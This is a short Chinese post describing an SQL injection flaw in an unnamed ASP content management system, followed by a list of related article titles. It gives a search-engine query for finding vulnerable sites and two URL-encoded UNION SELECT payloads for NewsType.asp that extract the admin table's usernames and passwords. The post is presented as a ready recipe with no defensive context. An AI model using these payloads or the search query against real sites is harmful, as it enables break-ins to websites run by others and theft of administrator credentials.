某款asp的cms程序注射漏洞
2017-08-04 15:43
155 查看
简要描述：
谷歌百度搜索关键词 inurl:HomeMarket.asp 在域名后面加上以下代码能爆破出管理帐号密码/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20”=’
NewsType.asp?SmallClass=%27%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20%27%27=%27
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- SQL注入原理和ASP防注射漏洞经典方法
- 伯乐asp收信程序漏洞及利用程序利用代码
- ASP程序漏洞解析及黑客入侵防范方法
- 风讯(FoosunCMS) SetNextOptions.asp注入漏洞利用
- phpwind 5.0.1 Sql注射漏洞利用程序
- X.U.S.T的《自己搭建IIS找ASP程序漏洞》发表在《黑客X档案》，稿费捐给希望工程
- ewebeditor asp版 2.1.6 上传漏洞利用程序
- 某教育程序打印页面漏洞批量注射（附小工具）
- X.U.S.T原创：自己搭建IIS找ASP程序漏洞
- asp程序的漏洞是如何产生的？
- catalog_type.asp范例执行外部程序的漏洞（台湾文献）
- ASP程序密码验证漏洞
- 风讯(FoosunCMS) SetNextOptions.asp注入漏洞利用
- ASP程序密码验证漏洞
- ASP.NET程序中常用的三十三种代码(收集)
- 十款ASP的CMS系统排名
- VS2008无法启动asp.net提示“无法启动程序: http://localhost/.../test.aspx” 数据无效”。
- 使用WebDevHelper辅助ASP.NET AJAX程序开发
- win7——win server 2012 iis中使用asp程序出现Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
- CMS整站程序整理